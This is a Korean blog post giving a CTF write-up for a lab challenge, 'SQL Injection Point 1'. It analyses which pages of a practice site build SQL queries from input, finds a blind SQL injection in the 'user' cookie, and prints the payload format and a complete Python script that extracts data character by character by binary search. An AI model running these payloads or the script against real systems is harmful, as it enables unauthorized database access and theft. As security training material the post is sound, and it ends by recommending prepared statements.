일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- lord of sqli
- 과제
- 쿠키
- 웹개발
- union sql injection
- JS
- sql injection point
- lord of sql injection
- MySQL
- 모의해킹
- css
- php
- cookie 탈취
- Error based sql injection
- cors
- Cross Site Request Forgery
- 로그인
- CTF
- 게시판 만들기
- file upload
- 세션
- JWT
- Reflected Xss
- sql injection
- blind sql injection
- XSS
- csrf
- 로그인페이지
- Python
- Los
- Today
- Total
Almon Dev
ctf 풀이 (SQL Injection Point 1) 본문
ctf 문제 풀이
SQL Injection Point 1
기능 분석
SQLI Point를 찾기 위해서 사이트의 기능들을 살펴보고 어디서 sql 질의를 사용하는지 추측해 봤습니다.
login.php
예상 sql : select * from member where id='[입력]' or select * from member where id='[입력]' and pw='[입력]'
로그인 완료 시 쿠키로 user와 PHPSESSID를 생성합니다.
로그인에서 sql injection을 찾아보려 했으나 '나 \, " 와 같은 sql 질의문의 구조를 변화시키는 문자를
필터링하는 것으로 보입니다.
signup.html
예상 sql : insert into member (id, pw) values ('[입력]', '[입력]')
회원가입에서 id 중복검사를 이용해서 blind sql injection이 가능할까 시도하였으나
로그인과 마찬가지로 필터링을 하고 있는 것 같습니다.
index.php
user쿠키를 변조했을 때 출력값의 변화가 없는 것으로 보아 로그인 때 사용한 아이디를 출력하는 것 같습니다.
mypage.php
예상 sql : select * from member where user_id='[user쿠키]'
user 쿠키를 변조했을 때 출력되는 아이디가 변경되는 것으로 쿠키의 값으로 sql 질의문을 하는 것으로 보입니다.
sql의 결과가 없을 때는 "Nothing Here"가 출력되지 않습니다.
=> 참과 거짓을 이용한 blind sql injection이 가능해 보입니다.
notice_list.php
예상 sql : select * from board where user_id='[session에 저장된 아이디]'
자신이 만든 게시글을 확인하는 게시판인 것 같습니다.
user쿠키를 변조해도 결과가 같은 것으로 보아 sql 질의문에 session을 사용하는 것으로 보입니다.
admin1234/1234의 계정을 만들고 접속해 보니 모든 사용자의 게시글이 보입니다.
=> 아이디에 admin이 들어가면 모든 사용자의 게시글을 확인 가능
게시판 검색
예상 sql : select * from board where user_id = '[session]' and [option_val] = '[%board_result%]'
sql에 들어가는 입력값은 검색 카테고리와 검색어입니다.
option_val에 '1' = '1' and username을 삽입해 sql injection이 가능한지 확인하였으나 실패했습니다.
혹시 회원가입과 마찬가지로 필터링을 하는지 의심이 들어서 '를 제거해 1=1 and username을 삽입했더니
sql injection이 성공했습니다.
1=1 and username과 1=2 and username의 결괏값이 다르므로 blind sql injection이 가능합니다.
board_result의 경우는 '가 필터링이 되는 경우 문자열을 벗어날 수 없어 sql injection이 불가능해 보입니다.
notice_read.php
예상 sql : select * from board where user_id='[session]' and post_id=[입력]
notice_read.php/?id=154 처럼 get 메서드로 게시글의 id를 보내 sql 질의문에 사용되는 것 같습니다.
cookie의 값을 변조해도 다른 사용자의 게시글에 접근이 불가능하므로 session을 이용해 사용자를 식별하는 것으로 판단했습니다.
게시글의 id값을 이용해서 sql injection을 확인해 보겠습니다.
이곳에서도 '를 필터링하고 있습니다. 하지만 id값은 숫자이기 때문에 sql문에 '가 없어서
blind sql injection이 가능해 보입니다.
mypage.php SQL Injection
1. sql point 찾기
cookie의 값을 sql 질의문에 이용하기 때문에 sql injection이 가능합니다.
참일 때는 Nothing Here이 출력되고 거짓일 때는 빈칸이 출력됩니다.
2. select가 가능한지 확인
tester' and (select 1)=1 and '1' = '1을 삽입해 select문이 정상적으로 동작하는지 확인하였습니다.
3. 공격 format 만들기
tester' and (조건) and '1' = '1 을 베이스로 공격 format을 생성하겠습니다.
substring((sql), [index],1) => sql문의 결과를 1개씩 추출합니다.
ascii( substring((sql), [index],1) ) > 0 => 추출한 sql문의 결과 한 글자를 ascii숫자로 변환해 비교합니다.
완성된 format : tester' and ( ascii( substring((sql), [index],1) ) > 0 ) and '1' = '1
4. python 코드 제작
한 글자씩 알아내는 작업은 시간이 오래 걸리므로 python코드를 이용해서 자동화를 하기로 했습니다.
코드에 대한 설명은 https://almon.tistory.com/45에 있습니다.
import requests
def sqli_request(session, url, session_id, sql, index, ascii):
response = session.get(url=url, cookies={
"user" : f"admin1234' and (ascii(substring(({sql}),{index},1)) > {ascii}) and '1' = '1",
"PHPSESSID" : session_id,
})
# print(response.text)
if true_message in response.text:
# print("O")
return True
else:
# print("X")
return False
url = "http://ctf2.segfaulthub.com:7777/sqli_6/mypage.php"
login_url = "http://ctf2.segfaulthub.com:7777/sqli_6/login.php"
true_message = "Nothing Here"
sql_result = ""
session = requests.Session()
response = requests.post(login_url, data={
"id" : "admin1234",
"pw" : "1234",
}, allow_redirects=False)
# print(response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", ""))
session_id = response.headers.get("Set-Cookie").split(", ")[1].split(";")[0].replace("PHPSESSID=", "")
while True:
sql = input("SQL \u1433 ")
if sqli_request(session, url, session_id, sql, 1, 0):
index = 1
while True:
left = 0
right = 127
if not sqli_request(session, url, session_id, sql, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
result = sqli_request(session, url, session_id, sql, index, mid)
if result:
left = mid+1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
else:
print("Fail : ", sql, "\n")
5. 데이터 추출
마무리
cookie역시 클라이언트에 존재하는 데이터이기 때문에 사용자가 쉽게 변조할 수 있습니다.
sqli를 방지하기 위해서는 prepared statement를 이용해서 db가 사용자의 입력을 순수한 문자열로 인식하게 만드는것이 좋습니다.
기능 분석에서 찾은 다른 sqli point인 게시판의 검색기능과 게시글 확인 기능은
다음 문제에서 사용하도록 하겠습니다.
'모의해킹 > 모의해킹' 카테고리의 다른 글
ctf 풀이 (SQL Injection Point 3) (0) | 2024.12.11 |
---|---|
ctf 풀이 (SQL Injection Point 2) (0) | 2024.12.10 |
모의해킹 공부 8주차 (SQL Injection) (1) | 2024.12.06 |
ctf 풀이 (SQL Injection 6) (0) | 2024.12.02 |
ctf 풀이 (SQL Injection 5) (0) | 2024.11.30 |